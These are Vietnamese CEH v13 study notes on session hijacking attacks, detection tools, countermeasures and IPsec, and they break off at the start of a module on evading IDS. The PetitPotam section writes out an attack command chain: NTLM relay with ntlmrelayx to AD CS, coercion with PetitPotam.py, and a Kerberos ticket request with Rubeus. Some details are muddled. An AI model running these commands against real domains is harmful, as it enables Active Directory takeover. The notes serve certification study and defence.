Attack	Ý tưởng chính (1 dòng)	Cách thức (tóm tắt)	Yêu cầu chính	Từ khoá kỳ thi CEH	Phòng chống
Cross-Site Scripting (XSS)	Chèn JS để đánh cắp cookie phiên	Script độc thi hành trong trình duyệt nạn nhân và đọc `document.cookie`	Xử lý input kém	**Client-side code execution**	Xác thực input, mã hoá output, `HttpOnly` cookies
Malicious JavaScript	JS đánh cắp hoặc chuyển tiếp token	JS trích token và gửi về kẻ tấn công	Có vector chèn script	**Session token exfiltration**	CSP, sanitization, `HttpOnly`
Trojan	Malware đánh cắp dữ liệu phiên	Trojan đọc bộ nhớ trình duyệt hoặc cookie	Hệ thống nạn nhân bị nhiễm	**Client compromise**	AV, bảo mật endpoint
Cross-Site Request Forgery (CSRF)	Lợi dụng session đã xác thực	Nạn nhân bấm link –> trình duyệt gửi cookie hợp lệ tự động	Người dùng đã đăng nhập	**One-click attack / Session riding**	Token chống CSRF, `SameSite` cookies

Attack	Ý tưởng chính (1 dòng)	Cách thức (tóm tắt)	Yêu cầu chính	Từ khoá kỳ thi CEH	Phòng chống
Session Replay Attack	Ghi lại & phát lại token	Kẻ tấn công sniff traffic và replay request được ghi	Cho phép tái sử dụng token	**Replay authentication**	TLS, nonce, token hết hạn
Session Fixation	Đặt trước session ID	Nạn nhân đăng nhập bằng session ID do attacker gán	Session ID không đổi sau login	**Pre-authentication session ID**	Sinh lại session ID sau khi login
Proxy-based Session Hijacking	Đánh cắp phiên qua proxy giả	Nạn nhân kết nối qua proxy do attacker điều khiển	Người dùng tin proxy	**Man-in-the-Browser**	HTTPS, kiểm tra chứng chỉ
CRIME Attack	Rò rỉ dữ liệu qua nén	Lợi dụng tỉ lệ nén TLS/HTTP để suy đoán cookie	Bật TLS compression	**Compression side-channel**	Tắt TLS compression
FREAK / Forbidden Attack	Phá yếu TLS / tái sử dụng crypto	MITM ép downgrade hoặc tái sử dụng nonce (ví dụ AES-GCM)	Cấu hình TLS yếu	**TLS downgrade / nonce reuse**	Sử dụng cipher mạnh, hardening TLS
Session Donation Attack	Nạn nhân xác thực vào phiên của attacker	Attacker đăng nhập –> nạn nhân click –> attacker nhận quyền	Session bị ghép nối	**Session misbinding**	Gắn session với user/IP/device

14. Cướp phiên cấp mạng (Network-Level Session Hijacking) [Trang 1581 - 1590]

Tấn công cấp mạng dựa trên việc chặn các gói tin giữa client và server trong phiên TCP hoặc UDP. Ưu điểm là không yêu cầu quyền truy cập host và không cần điều chỉnh theo từng ứng dụng. Các kỹ thuật khai thác lỗ hổng (đặc biệt trong quá trình three-way handshake) bao gồm:

- **Quá trình Bắt tay 3 bước của TCP (Three-way Handshake)** [Trang 1582 - 1583]: Để hiểu cách cướp phiên cấp mạng hoạt động, cần nắm rõ quy trình bắt tay 3 bước của TCP:
  - Client khởi tạo kết nối bằng cách gửi Gói tin có cờ SYN cùng Số thứ tự khởi tạo (ISN) của nó. (Trạng thái: SYN-SENT).
  - Server phản hồi bằng Gói tin có cờ SYN + ACK, xác nhận số thứ tự của Client và gửi kèm ISN của chính Server. (Trạng thái: SYN-RECEIVED).
  - Client gửi lại Gói ACK, tăng số thứ tự lên 1 để hoàn tất. (Trạng thái: ESTABLISHED).
  - *(Kẻ tấn công thường lợi dụng bước này: Bằng cách dự đoán chính xác Next Sequence Number (NSN), kẻ tấn công có thể chèn gói tin giả mạo vào luồng kết nối trước khi các bên hợp lệ kịp phản hồi).*
- **TCP/IP Hijacking** [Trang 1584 - 1585]:
  - Sử dụng các gói tin giả mạo (spoofed packets) để chiếm quyền kiểm soát kết nối.
  - Kẻ tấn công đánh hơi (sniffs) kết nối của nạn nhân và sử dụng IP của nạn nhân để gửi một gói tin giả mạo mang số thứ tự (sequence number) dự đoán được.
  - Bộ nhận (server) xử lý gói giả mạo, tăng số thứ tự lên và gửi gói xác nhận (ACK) về địa chỉ IP thực của nạn nhân.
  - Máy nạn nhân không hề biết về gói giả mạo nên bỏ qua gói ACK của server và tắt bộ đếm số thứ tự. Trạng thái kết nối lúc này bị lệch/mất đồng bộ (desynchronized state).
  - Kẻ tấn công tiếp tục theo dõi số thứ tự và liên tục giả mạo các gói tin xuất phát từ IP nạn nhân.

  - Kẻ tấn công tự do giao tiếp với server trong khi kết nối thực của nạn nhân bị treo (hangs).

- **IP Spoofing: Source Routed Packets (Gói định tuyến nguồn)** [Trang 1586]:
  - Kẻ tấn công giành quyền truy cập bằng cách giả mạo (spoofs) IP của một host được tin cậy (trusted host) để server chấp nhận các gói tin.
  - Gói tin được gán nhãn định tuyến nguồn (source-routed), nghĩa là kẻ tấn công tự chỉ định đường dẫn cho gói tin đi đến IP đích.
  - Kẻ tấn công thay đổi số sequence và ACK, sau đó chèn các gói giả mạo vào phiên TCP trước khi host thực thụ kịp phản hồi server.
  - Gói thật từ host bị mất do server đã nhận gói có số thứ tự do kẻ tấn công sử dụng từ trước.
- **RST Hijacking** [Trang 1587]:
  - Kẻ tấn công tiêm một gói Reset (RST) trông có vẻ hợp lệ bằng cách sử dụng địa chỉ nguồn giả mạo và dự đoán đúng số ACK (acknowledgment number).
  - Nếu dùng đúng số ACK, nạn nhân sẽ tưởng rằng thiết bị ngang hàng (peer) đã gửi gói reset này.
  - Ngay lập tức, nạn nhân đặt lại và đóng kết nối.
  - Kỹ thuật này được thực hiện bằng các công cụ tạo gói (packet crafting tools) như Colasoft Packet Builder hoặc công cụ phân tích TCP/IP như `tcpdump`.
- **Blind Hijacking (Cướp phiên mù)** [Trang 1588]:
  - Kẻ tấn công tiêm dữ liệu độc hại hoặc lệnh (commands) vào phiên TCP ngay cả khi không thể vô hiệu hóa source-routing.
  - Kẻ tấn công có thể gửi dữ liệu nhưng không có quyền truy cập để nhìn thấy phản hồi (no access to see the response). Do không quan sát được, kẻ tấn công phải đoán chính xác Next Sequence Number (NSN) để ép server thực thi lệnh.
- **UDP Hijacking** [Trang 1589]:
  - Giao thức UDP không dùng packet sequencing (số thứ tự) hay đồng bộ hóa (connectionless), nên việc sửa đổi dữ liệu cực kỳ dễ dàng mà nạn nhân không hay biết.
  - Kẻ tấn công (đã spoof IP nguồn) gửi một reply UDP giả mạo cho các request UDP của nạn nhân trước khi server hợp lệ có thể phản hồi.
  - Có thể sử dụng tấn công MITM để chặn (intercept) hoàn toàn reply thật từ server, giúp việc chiếm phiên dễ dàng hơn.
  - **Cách thức UDP Hijacking hoạt động (How UDP Hijacking Works):**
    * **Giả mạo địa chỉ IP nguồn (Spoofing source IP address):** Vì UDP không yêu cầu quá trình bắt tay trước khi truyền dữ liệu, kẻ tấn công có thể gửi các gói UDP với địa chỉ IP nguồn giả mạo (giả vờ là một máy chủ khác).
    * **Chặn lưu lượng (Intercepting the traffic):** Kẻ tấn công gửi các gói UDP giả mạo đến máy khách hoặc máy chủ. Những gói này dường như đến từ một nguồn hợp pháp nhưng lại chứa dữ liệu hoặc hướng dẫn độc hại.
    * **Thao túng giao tiếp (Manipulating the communication):** Bằng cách chèn thông tin sai lệch vào luồng dữ liệu hoặc khởi tạo các yêu cầu trái phép, kẻ tấn công có thể thao túng hành vi của ứng dụng sử dụng lưu lượng UDP.

15. Tấn công MITM dùng ICMP giả mạo và ARP Spoofing [Trang 1590]

Trong cả hai kỹ thuật này, kẻ tấn công sử dụng một packet sniffer làm giao diện trung gian giữa client và server, thay đổi cổng mặc định (default gateway) của client để định tuyến lại (reroute) các gói tin qua máy của kẻ tấn công:

- **MITM using forged ICMP (Dùng ICMP giả mạo):** Giao thức ICMP vốn là phần mở rộng của IP dùng để gửi thông báo lỗi. Kẻ tấn công tạo các gói ICMP giả mạo để lừa máy client và server rằng quá trình định tuyến ban đầu có vấn đề. Từ đó, gói lỗi ICMP này đánh lừa và chuyển hướng (redirect) toàn bộ traffic giữa client và host đi qua máy của kẻ tấn công thay vì đường dẫn hợp pháp.
- **ARP spoofing:** Các máy chủ dùng bảng ARP để ánh xạ IP sang MAC. Kẻ tấn công phát sóng (broadcasting) các gói ARP request và gửi các ARP reply giả mạo để cập nhật sai lệch bảng ARP của nạn nhân. Việc này khiến lưu lượng bị đẩy đến địa chỉ MAC của kẻ tấn công thay vì IP đích hợp lệ.

16. PetitPotam Hijacking [Trang 1591 - 1592]

- **Khái niệm:** Là cuộc tấn công ép buộc một Domain Controller (DC) phải khởi tạo xác thực tới server của kẻ tấn công.
- **Cách thức hoạt động:** Kẻ tấn công sử dụng các lệnh gọi API của Microsoft's Encrypting File System Remote Protocol (MS-EFSRPC) (cụ thể là lệnh `EfsRpcOpenFileRaw`) để ép buộc (coerce) quá trình xác thực. Bằng cách thao túng phiên từ một SMB Server giả mạo, kẻ tấn công lừa DC tin rằng chúng là người dùng hợp pháp để lấy được hàm băm NTLM (NTLM hash) của DC. Sau đó, kẻ tấn công chuyển tiếp (relay) xác thực NTLM này vào máy chủ Active Directory Certificate Services (AD CS) để tạo ra một chứng chỉ số. Có được chứng chỉ, kẻ tấn công chiếm ngay đặc quyền quản trị (admin-level privileges) và kiểm soát toàn bộ hạ tầng AD.
- **Các lệnh thực thi PetitPotam Hijacking:**
  - Xác định Tổ chức cấp chứng chỉ (Certificate Authority): `certutil.exe`
  - Thiết lập HTTP/SMB cấu hình (dùng Impacket) để bắt thông tin xác thực từ DC: `ntlmrelayx.py -t <URL of Certificate authority with web enrolment> -smb2support --adcs --template DomainController`
  - Ép buộc (coerce) quá trình xác thực thông qua gọi API MS-EFSRPC: `python3 PetitPotam.py -d <CA name> -u <Username> -p <Password> <Listener-IP> <IP of DC>` (Nếu DC có lỗ hổng, có thể chạy lệnh không cần credentials: `python3 PetitPotam.py <Attacker's IP> <IP of DC>`)
  - Sau khi có NTLM hash của chứng chỉ, yêu cầu vé Kerberos (dùng Rubeus) để lấy đặc quyền: `Rubeus.exe asktgt /outfile.kirbi /dc:<DC-IP> /domain: domain name /user: <Domain username> /ptt /certificate: <NTLM hashes received from above command>`

17. Tóm tắt dạng khai thác và Bảng Kỹ thuật [Trang 1584 - 1592]

Tóm tắt dạng khai thác cấp mạng (Network-Level Session Hijacking):

- **TCP Sequence Abuse (Lạm dụng số thứ tự TCP)** –> TCP/IP Hijacking, Blind Hijacking, RST Hijacking.
- **Trust Abuse (Lạm dụng sự tin cậy)** –> IP Spoofing (Source routing), PetitPotam.
- **Stateless Abuse (Lạm dụng giao thức không trạng thái)** –> UDP Hijacking.
- **Routing Abuse (Lạm dụng định tuyến)** –> ICMP Forgery.
- **LAN Poisoning (Đầu độc mạng nội bộ)** –> ARP Spoofing.

Bảng tổng hợp chi tiết:

Attack	Ý tưởng chính (1 dòng)	Luồng tấn công (tóm tắt)	Yêu cầu chính	CEH Exam Keywords
TCP/IP Hijacking	Chiếm phiên TCP bằng cách gây mất đồng bộ (desync sequence)	Sniff –> Gửi gói giả seq –> Receiver xử lý và tăng seq –> Victim bỏ qua ACK –> Desynchronized –> Attacker tiếp tục giả mạo.	Phải chung mạng để sniff hoặc dự đoán đúng sequence number.	Sequence number prediction, desynchronization.
IP Spoofing (Source Routing)	Mạo danh host tin cậy bằng địa chỉ IP giả	Attacker giả IP host tin cậy –> Chèn gói giả (dùng source-routing) trước khi host thật phản hồi –> Server chấp nhận gói của attacker, mất gói của victim.	Bật Source routing + biết IP của Trusted host.	Trusted host abuse, source routed packets.
RST Hijacking	Ép đóng phiên TCP bằng gói Reset	Tiêm gói RST nhìn có vẻ hợp lệ (spoofed IP + đúng ACK number) –> Peer tưởng victim gửi reset –> Phiên bị ngắt.	Biết chính xác số Sequence/ACK.	TCP RST flag, forced reset, packet crafting.
Blind Hijacking	Tiêm dữ liệu khi không nhìn thấy phản hồi	Attacker không có quyền sniff để xem reply –> Đoán NSN (Next Sequence Number) –> Tiêm dữ liệu/lệnh vào TCP session một cách mù quáng.	Số Sequence dễ đoán.	Blind injection, predict NSN.
UDP Hijacking	Thay thế hoặc tiêm giao tiếp UDP	Gửi UDP reply giả mạo trước khi server thật kịp phản hồi –> Hoặc dùng MITM để chặn hẳn reply thật.	Do UDP không trạng thái (stateless/connectionless)	Packet spoofing, no packet sequencing.
MITM using Forged ICMP	Dùng thông báo lỗi ICMP giả để chuyển hướng traffic	Gửi thông báo lỗi ICMP giả –> Đánh lừa client/server định tuyến luồng dữ liệu qua máy của attacker.	Hệ thống tin vào ICMP error messages.	ICMP redirect, forged error messages.
ARP Spoofing	Đầu độc ARP cache để chặn và điều hướng traffic	Gửi ARP reply giả mạo –> Cập nhật sai MAC của victims –> Traffic định tuyến qua attacker.	Cần truy cập mạng nội bộ (LAN).	ARP poisoning, broadcast ARP request.
PetitPotam Hijacking	Ép DC xác thực NTLM rồi Relay để lấy quyền	Lạm dụng API MS-EFSRPC –> Ép DC authenticate về máy attacker –> Relay NTLM hash sang AD CS –> Chiếm trọn quyền Admin.	NTLM đang bật + hạ tầng AD CS tồn tại.	Authentication coercion, NTLM relay, MS-EFSRPC.

18. Công cụ cướp phiên (Session Hijacking Tools) [Trang 1593 - 1596]

- **Hetty** [Trang 1593 - 1594]: Là một HTTP toolkit dành cho nghiên cứu bảo mật. Tính năng chính bao gồm thực hiện tấn công MITM HTTP proxy kèm ghi log và tìm kiếm nâng cao, cung cấp HTTP client để tạo và phát lại (replay) các proxy request.
- **Caido** [Trang 1593 - 1594]: Web security auditing toolkit giúp chuyên gia bảo mật chặn (intercept) và xem các HTTP request theo thời gian thực khi duyệt web. Có thể sửa đổi request đến bằng Regex, test với các wordlist lớn.

- **bettercap** [Trang 1593, 1595 - 1596]: Framework linh hoạt viết bằng ngôn ngữ Go. Hỗ trợ MITM, trinh sát và tấn công mạnh mẽ trên các mạng WiFi, Bluetooth Low Energy (BLE), thiết bị HID không dây và cả mạng IPv4/IPv6.
- *(Bổ sung từ nguồn)* Các công cụ khác: **OWASP ZAP**, **WebSploit Framework**, **sslstrip**, **Burp Suite**, **JHijack**.

19. Phương pháp phát hiện Cướp phiên (Methods to detect session hijacking) [Trang 1598]

- **Các triệu chứng của một cuộc tấn công cướp phiên (Symptoms of a session hijacking attack)** [Trang 1597]:
  - Sự bùng nổ hoạt động mạng (A burst of network activity) diễn ra trong một khoảng thời gian, làm giảm hiệu suất của hệ thống.
  - Máy chủ trở nên quá tải (Busy servers) do phải xử lý lượng lớn yêu cầu được gửi đến từ cả máy khách hợp pháp và kẻ chiếm quyền.
- **Phương pháp Thủ công (Manual Method):** Sử dụng các phần mềm bắt gói tin (như Wireshark, SteelCentral Packet Analyzer) để giám sát traffic và tìm kiếm các dấu hiệu bất thường.
- **Ép buộc Mục nhập ARP (Forced ARP Entry):** Thay thế địa chỉ MAC của máy bị xâm nhập bằng một MAC khác trong bộ nhớ đệm ARP của máy chủ để hạn chế lưu lượng mạng đến máy đó. Kỹ thuật này thường được áp dụng khi phát hiện: Cập nhật ARP lặp đi lặp lại (Repeated ARP updates), Các khung truyền mang địa chỉ MAC khác nhau, hoặc Bão ACK (ACK storms).
- **Phương pháp Tự động (Automatic Method):** Sử dụng các hệ thống Phát hiện Xâm nhập (IDS) và Ngăn ngừa Xâm nhập (IPS) để đối chiếu gói tin mạng với cơ sở dữ liệu chữ ký tấn công.

20. Công cụ phát hiện cướp phiên (Session Hijacking Detection Tools) [Trang 1603 - 1605]

Các cuộc tấn công cướp phiên thường diễn ra âm thầm, giảm hiệu suất hệ thống. Việc phát hiện có thể sử dụng packet sniffers, IDSs và SIEM.

- **USM Anywhere** [Trang 1603 - 1604]: Cung cấp khả năng phát hiện mối đe dọa mạnh mẽ, quản lý SIEM và log, phản hồi sự cố trên cả đám mây (cloud), on-premises và môi trường hybrid.
- **Wireshark** [Trang 1603 - 1605]: Công cụ cho phép bắt và duyệt traffic mạng tương tác. Dùng Winpcap để bắt gói tin trực tiếp từ các mạng Ethernet, IEEE 802.11, Token Ring, Bluetooth... giúp phát hiện hoạt động cướp phiên.
- *(Bổ sung từ nguồn)* Các công cụ khác: **Quantum Intrusion Prevention System (IPS)**, **SolarWinds Security Event Manager**, **IBM Security Network Intrusion Prevention System**, **LogRhythm**.

21. Ngăn chặn cướp phiên (Session Hijacking Countermeasures) [Trang 1606 - 1607, 1616 - 1618]

- **Các nguyên tắc bảo vệ chung (General Guidelines):**
  - Sử dụng chuỗi dài hoặc số ngẫu nhiên lớn làm session keys.
  - Triển khai cơ chế Đăng xuất (log-out) và Hết hạn phiên (timeout) tự động.
  - Sử dụng các giải pháp IDS hoặc phần mềm ARPwatch để giám sát chống ARP Cache Poisoning.

- Sử dụng SFTP, FTPS, AS2 có hỗ trợ mã hóa và chứng chỉ số thay vì FTP. Tắt cơ chế nén HTTP (tránh CRIME attack).
- Chuyển đổi các mô hình mạng Hub cũ sang Switch.
- **Các nguyên tắc bảo vệ chung bổ sung** [Trang 1599 - 1601]:
  * Tránh đưa Session ID vào URL hoặc query string.
  * Đảm bảo phần mềm bảo vệ ở cả phía client và phía server luôn ở trạng thái hoạt động và được cập nhật mới nhất.
  * Cấu hình các quy tắc chống giả mạo (spoof rules) nội bộ và bên ngoài phù hợp trên gateway.
  * Cập nhật thường xuyên các bản vá nền tảng để khắc phục lỗ hổng TCP/IP (ví dụ: chuỗi gói tin có thể đoán được).
  * Sử dụng các giao thức mã hóa có sẵn trong bộ OpenSSH.
  * Sử dụng giải pháp dựa trên Microsoft (SMB signing) để kích hoạt chữ ký lưu lượng (traffic signing).
  * Sử dụng xác thực đa yếu tố (MFA).
  * Giám sát hoạt động của phiên để tìm các mẫu bất thường, chẳng hạn như có nhiều lần đăng nhập đồng thời từ các vị trí địa lý khác nhau.
  * Ràng buộc (bind) phiên với địa chỉ IP của người dùng.
  * Tận dụng sinh trắc học hành vi (behavioral biometrics) như nhịp gõ phím, di chuyển chuột và các mẫu điều hướng để xác thực liên tục.
  * Triển khai cơ chế challenge-response (ví dụ: CAPTCHA) khi phát hiện hoạt động đáng ngờ.
  * Áp dụng thời gian hết hạn tuyệt đối (absolute timeout) bất kể người dùng có đang hoạt động hay không.

- **Hướng dẫn cho Nhà phát triển Web (Web Development Guidelines):**
  - Tái tạo (Regenerate) Session ID mới ngay sau khi người dùng đăng nhập thành công (Chống Session Fixation).
  - Mã hóa dữ liệu và session key truyền tải giữa người dùng và máy chủ (Sử dụng SSL/TLS).
  - Giảm tuổi thọ (life span) của session hoặc cookie.
  - Sử dụng các chỉ thị HTTP Headers nghiêm ngặt: `Cache-Control: no-cache, no-store` và `Pragma: no-cache`.
  - Đảm bảo thuộc tính `HTTPOnly` và `Secure` flag khi gửi cookies để tránh bị kịch bản phía máy khách (như XSS) trích xuất.
  - Xác minh IP và User-Agent của request hiện tại xem có khớp với nguồn tạo phiên ban đầu không.
  - Sử dụng thuộc tính `SameSite` cookie để ngăn trình duyệt gửi cookies trong các request chéo trang (Chống CSRF).
  - **Hướng dẫn cho Nhà phát triển Web bổ sung** [Trang 1601 - 1602]:
    * Không tạo phiên cho người dùng chưa được xác thực trừ khi thật sự cần thiết.
    * Triển khai xác minh thiết bị liên tục (continuous device verification) để xác định xem người dùng thiết lập phiên có còn quyền kiểm soát hay không.

    * Triển khai xác thực dựa trên rủi ro (risk-based authentication) ở các cấp độ khác nhau trước khi cấp quyền truy cập vào thông tin nhạy cảm.
    * Hủy các phiên được liên kết ngay trên máy chủ (server-side) thay vì chỉ phụ thuộc vào thời gian hết hạn phiên khi người dùng hủy xác thực.
    * Đảm bảo ứng dụng web có thể chuyển hướng các yêu cầu HTTP sang HTTPS bằng cài đặt máy chủ hoặc kỹ thuật chuyển hướng.
    * Bắt buộc yêu cầu xác thực lại (re-authentication) và tạo phiên mới trước khi cho phép người dùng thực hiện các chức năng nhạy cảm.
    * Dựa vào các web frameworks cung cấp Session ID bảo mật cao thay vì tự xây dựng cơ chế quản lý phiên riêng.
    * Bắt buộc sử dụng HTTPS trên tất cả các trang của ứng dụng web, không chỉ riêng trang đăng nhập.
- **Hướng dẫn cho Người dùng Web (Web User Guidelines):**
  - Không nhấp vào link lạ trong email, luôn sử dụng HTTPS khi nhập dữ liệu nhạy cảm.
  - Sử dụng nút Log-out thay vì chỉ nhấn dấu "X" để đóng trình duyệt.
  - Xóa bộ nhớ đệm (history, offline content, cookies) ngay sau mỗi phiên giao dịch quan trọng.
  - Vô hiệu hóa tính năng tự động kết nối Wi-Fi mở (Disable auto-connect) và tránh giao dịch tài chính trên Wi-Fi công cộng. Tránh lưu mật khẩu trên trình duyệt.
  - **Hướng dẫn cho Người dùng Web bổ sung** [Trang 1602]:
    * Đảm bảo trang web được chứng nhận bởi các Tổ chức cấp chứng chỉ (CA) phù hợp.
    * Xác minh và vô hiệu hóa các tiện ích bổ sung (add-ons) từ các trang web không đáng tin cậy. Chỉ bật add-ons khi thực sự cần thiết.
    * Thực hành sử dụng mật khẩu dùng một lần (OTP) cho các giao dịch dữ liệu quan trọng (ví dụ: thẻ tín dụng).
    * Thường xuyên cập nhật cơ sở dữ liệu chữ ký diệt virus (anti-virus signatures) để ngăn chặn việc tự động cài đặt malware đánh cắp cookie.
    * Đảm bảo hệ điều hành, trình duyệt web và các plugin đã cài đặt luôn được cập nhật.
    * Sử dụng các dịch vụ email và nhắn tin được mã hóa để liên lạc thông tin nhạy cảm.
    * Thận trọng khi cấp cho các ứng dụng quyền truy cập vào thông tin hoặc tính năng nhạy cảm trên thiết bị di động.
    * Sử dụng các trình xử lý phiên tùy chỉnh (custom session handlers) để lưu trữ và xử lý token phiên.
- **HTTP Strict Transport Security (HSTS)** [Trang 1606]: Chính sách bảo mật web bảo vệ khỏi MITM. HSTS ép buộc trình duyệt web chỉ giao tiếp với máy chủ bằng giao thức HTTPS an toàn, tự động chuyển đổi các kết nối HTTP không an toàn thành HTTPS.
- **Token Binding** [Trang 1606 - 1607]: Client tạo ra một cặp khóa public-private cho kết nối. Khi gắn Session ID (token) vào kết nối, client ký nó bằng khóa private. Ngay cả khi kẻ tấn công bắt được token, chúng không thể phát lại (reuse) nó cho một kết nối khác vì không có khóa private tương ứng.
  - **Chi tiết cơ chế Token Binding:** Client tạo ra một cặp khóa công khai-bí mật (public-private key pair) cho mỗi kết nối đến máy chủ từ xa. Khi client kết nối với máy chủ, nó tạo ra một chữ ký (signature) bằng cách sử dụng khóa bí mật và gửi chữ ký này cùng với khóa công khai của nó cho máy chủ. Máy chủ xác minh chữ ký bằng khóa công khai của client. Điều này đảm bảo rằng thông điệp được gửi bởi

một client xác thực vì chỉ có client đó mới sở hữu khóa bí mật tương ứng. Ngay cả khi kẻ tấn công bắt được chữ ký, chúng cũng không thể tái tạo lại chữ ký hoặc sử dụng lại nó cho một kết nối khác. Đối với mỗi kết nối mới, một cặp khóa công khai-bí mật mới sẽ được tạo và sử dụng.

- **Công cụ hỗ trợ ngăn chặn (Prevention Tools)** [Trang 1616 - 1618]:
  - **Checkmarx One (SAST):** Công cụ phân tích mã nguồn tĩnh (Source-code analysis solution) giúp phát hiện và sửa các lỗ hổng kỹ thuật, lỗi logic mã nguồn mở (CxOSA) từ sớm để chống cướp phiên.
  - **Fiddler:** Web debugging proxy ghi lại toàn bộ traffic HTTP(S), cho phép giải mã HTTPS và thao túng request bằng kỹ thuật giải mã MITM để debug và pentest.
  - *(Bổ sung từ nguồn)* Các công cụ khác: **Nessus**, **Invicti**, **Wapiti**.

22. Phương pháp ngăn MITM (Approaches to Prevent MITM Attacks) [Trang 1608 - 1610]

Để chống lại MITM, quản trị viên áp dụng các giải pháp sau:

- **DNS over HTTPS (DoH):** Phiên bản nâng cao của DNS giúp chống snooping. DoH gửi các truy vấn web và traffic thông qua đường hầm HTTPS mã hóa ở cổng 443, đồng thời chỉ gửi một phần domain name đủ để lấy kết quả (thay vì toàn bộ domain name).
- **WPA3:** Giao thức không dây mạnh mẽ giúp ngăn kẻ tấn công brute-force mật khẩu để tham gia vào mạng thực hiện MITM.
- **VPN:** Tạo subnet và thiết lập các đường hầm mã hóa (encrypted tunnels) dựa trên khóa bí mật (key-based) qua mạng công cộng, ngăn kẻ tấn công giải mã dữ liệu.
- **Xác thực hai yếu tố (2FA):** Cung cấp thêm một vector bảo vệ bên cạnh mật khẩu, chống lại brute-forcing và hijacking.
- **Password Manager (Trình quản lý mật khẩu):** Ứng dụng giúp lưu trữ mật khẩu phức tạp ở vị trí an toàn, được đóng gói bởi một "master key".
- **Zero-trust architecture (Nguyên tắc Zero-trust):** Nguyên tắc "Trust but verify", yêu cầu tất cả người dùng (bất kể ở trong hay ngoài mạng nội bộ) đều phải được xác thực nghiêm ngặt trước khi cấp quyền truy cập tài nguyên.
- **PKI và quản lý chứng chỉ:** Sử dụng Public Key Infrastructure cùng các Tổ chức cấp chứng chỉ (CAs) uy tín để xác minh danh tính kỹ thuật số.
- **Phân đoạn mạng (Network segmentation):** Chia nhỏ mạng để hạn chế phạm vi di chuyển ngang (lateral movement) của kẻ tấn công và giới hạn khả năng chặn luồng liên lạc.

23. Giao thức IPsec và các Modes [Trang 1611 - 1615]

IPsec (Internet Protocol Security) là bộ giao thức của IETF giúp bảo vệ IP communications bằng cách xác thực và mã hóa từng gói IP, rất phổ biến cho VPN. Bao gồm 2 chế độ chính:

- **Transport Mode (Chế độ truyền tải)** [Trang 1613]: Chỉ mã hóa (và/hoặc xác thực) phần payload (dữ liệu) của gói IP, để nguyên phần header IP không mã hóa. Thường dùng cho liên lạc trực tiếp end-to-end giữa 2 host. Tương thích với NAT.
- **Tunnel Mode (Chế độ đường hầm)** [Trang 1614]: Đóng gói và mã hóa toàn bộ gói IP gốc (gồm cả IP header và payload), sau đó biến nó thành payload cho một gói IP mới (với IP header mới). Có bảo mật cao hơn Transport mode, thường dùng tạo VPN giữa 2 routers (gateways) hoặc host-to-gateway.
- **Các dịch vụ bảo mật do IPsec cung cấp (Security services offered by IPsec):**

  - Từ chối các gói tin bị phát lại (Rejection of replayed packets - một hình thức bảo toàn tính toàn vẹn một phần số thứ tự).
  - Bảo mật dữ liệu / Mã hóa (Data confidentiality).
  - Kiểm soát truy cập (Access control).
  - Tính toàn vẹn không kết nối (Connectionless integrity).
  - Xác thực nguồn gốc dữ liệu (Data origin authentication).
  - Tính toàn vẹn dữ liệu (Data integrity).
  - Bảo mật luồng lưu lượng giới hạn (Limited traffic-flow confidentiality).
  - Xác thực ngang hàng cấp mạng (Network-level peer authentication).
  - Bảo vệ chống phát lại (Replay protection).
- *(Bổ sung từ nguồn)* **Kiến trúc IPsec** [Trang 1611, 1614 - 1615]: Sử dụng hai giao thức cốt lõi:
  - **AH (Authentication Header):** Chỉ cung cấp xác thực nguồn gốc và tính toàn vẹn (integrity), chống replay, không hỗ trợ mã hóa (no confidentiality).
  - **ESP (Encapsulating Security Payload):** Cung cấp đầy đủ cả xác thực, tính toàn vẹn và tính bảo mật (mã hóa/encryption). Đóng vai trò thiết yếu trong việc bảo vệ payload của dữ liệu.
- **Các thành phần của cấu trúc IPsec (Components of IPsec)** [Trang 1612 - 1614]:
  - **IPsec driver:** Phần mềm thực hiện chức năng mã hóa/giải mã ở cấp độ giao thức.
  - **Internet Key Exchange (IKE):** Giao thức tạo khóa bảo mật.
  - **Internet Security Association and Key Management Protocol (ISAKMP):** Phần mềm kết hợp các khái niệm xác thực, quản lý khóa và liên kết bảo mật (SA) để hai máy tính có thể mã hóa dữ liệu giao tiếp với nhau.
  - **Oakley:** Giao thức sử dụng thuật toán Diffie-Hellman để tạo master key và khóa đặc thù cho từng phiên.
  - **IPsec Policy Agent:** Dịch vụ trong Windows HĐH nhằm thực thi các chính sách IPsec.
  - **IPsec Domain of Interpretation (DOI)** [Trang 1615]: Xác định định dạng payload, loại trao đổi và quy ước đặt tên cho thông tin bảo mật (chẳng hạn như thuật toán mã hóa hoặc chính sách bảo mật). IPsec DOI khởi tạo ISAKMP để sử dụng với IP khi IP dùng ISAKMP để đàm phán các liên kết bảo mật.
  - **Policy (Chính sách)** [Trang 1615]: Các chính sách IPsec rất hữu ích trong việc cung cấp an ninh mạng. Chúng xác định khi nào và cách thức bảo mật dữ liệu, cũng như các phương pháp bảo mật sẽ sử dụng ở các cấp độ khác nhau trong mạng (system, domain, site, organizational unit...).
- **Các bước tham gia vào quy trình IPsec (Steps involved in the IPsec process):**
  1. Người dùng (consumer) gửi một thông điệp đến nhà cung cấp dịch vụ (service provider).
  2. IPsec driver của người dùng cố gắng khớp địa chỉ của gói tin gửi đi hoặc loại gói tin với bộ lọc IP.
  3. IPsec driver thông báo cho ISAKMP để bắt đầu đàm phán bảo mật với nhà cung cấp dịch vụ.
  4. ISAKMP của nhà cung cấp dịch vụ nhận được yêu cầu đàm phán bảo mật.
  5. Cả hai bên bắt đầu trao đổi khóa, thiết lập Liên kết bảo mật ISAKMP (ISAKMP SA) và một khóa bí mật dùng chung.
  6. Cả hai bên thảo luận về mức độ bảo mật cho việc trao đổi thông tin, thiết lập cả IPsec SA và khóa.

7. IPsec driver của người dùng chuyển các gói tin đến loại kết nối thích hợp để truyền tới nhà cung cấp dịch vụ.
8. Nhà cung cấp nhận được các gói tin và chuyển chúng cho IPsec driver của họ.
9. IPsec của nhà cung cấp sử dụng SA gửi đến (inbound SA) và khóa để kiểm tra chữ ký số và bắt đầu giải mã.
10. IPsec driver của nhà cung cấp chuyển các gói đã giải mã đến tầng transport của mô hình OSI để xử lý tiếp.

CEHv13 - Module 12 - Evading IDS, Firewalls, and Honeypots

1. Khái niệm và Chức năng của IDS (Intrusion Detection System) [Trang 1625]

Hệ thống phát hiện xâm nhập (IDS) là một phần mềm hoặc thiết bị phần cứng được sử dụng để giám sát, phát hiện và bảo vệ mạng/hệ thống khỏi các hoạt động độc hại, và cảnh báo ngay lập tức cho nhân viên bảo mật. Có 2 loại là Passive IDS (chỉ phát hiện) và Active IDS (như IPS - vừa phát hiện vừa ngăn chặn).

Chức năng chính của IDS:

